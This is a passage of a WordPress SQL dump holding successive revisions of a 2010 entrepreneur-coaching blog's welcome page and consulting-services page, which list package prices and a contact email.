achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-11-28 14:05:16', '2010-11-28 21:05:16', '', 172, 'http://www.whitehotcenter.com/2010/11/28/172-revision-85/', 0, 'revision', '', 0);
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(1272, 2, '2010-11-28 14:05:58', '2010-11-28 21:05:58', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspirational ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities.</h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-11-28 14:05:58', '2010-11-28 21:05:58', '', 172, 'http://www.whitehotcenter.com/2010/11/28/172-revision-86/', 0, 'revision', '', 0),
(1273, 2, '2010-11-28 14:07:06', '2010-11-28 21:07:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities for a bigger future.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-11-28 14:07:06', '2010-11-28 21:07:06', '', 172, 'http://www.whitehotcenter.com/2010/11/28/172-revision-87/', 0, 'revision', '', 0),
(1274, 2, '2010-11-28 14:08:40', '2010-11-28 21:08:40', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities for a bigger future.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-11-28 14:08:40', '2010-11-28 21:08:40', '', 172, 'http://www.whitehotcenter.com/2010/11/28/172-revision-88/', 0, 'revision', '', 0),
(1275, 2, '2010-11-28 14:10:22', '2010-11-28 21:10:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities for a bigger future.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-11-28 14:10:22', '2010-11-28 21:10:22', '', 172, 'http://www.whitehotcenter.com/2010/11/28/172-revision-89/', 0, 'revision', '', 0),
(1276, 2, '2010-10-29 15:08:46', '2010-10-29 22:08:46', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in:</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales, and  communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">As a successful entrepreneur, for over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My corporate clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.   My nearly three decades of successful entrepreneurial and business building expertise, coupled with my burning passion for living my life with creativity, authenticity, passion and service enables me to be a catalyst for change and growth for successful early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future.  I offer several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10-15K USD  This package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-10-29 15:08:46', '2010-10-29 22:08:46', '', 138, 'http://www.whitehotcenter.com/2010/10/29/138-revision-79/', 0, 'revision', '', 0),
(1277, 2, '2010-11-28 15:42:57', '2010-11-28 22:42:57', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience::</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game of turning possibility into acheivement)\r\nlifestyle design, ( methods and tactics for creating the life experience you truly want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development / service to others )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, communications and sales)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">As a successful entrepreneur, for over 25 years, I"ve been helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create and pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-11-28 15:42:57', '2010-11-28 22:42:57', '', 138, 'http://www.whitehotcenter.com/2010/11/28/138-revision-80/', 0, 'revision', '', 0),
(1278, 2, '2010-11-28 15:45:20', '2010-11-28 22:45:20', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial 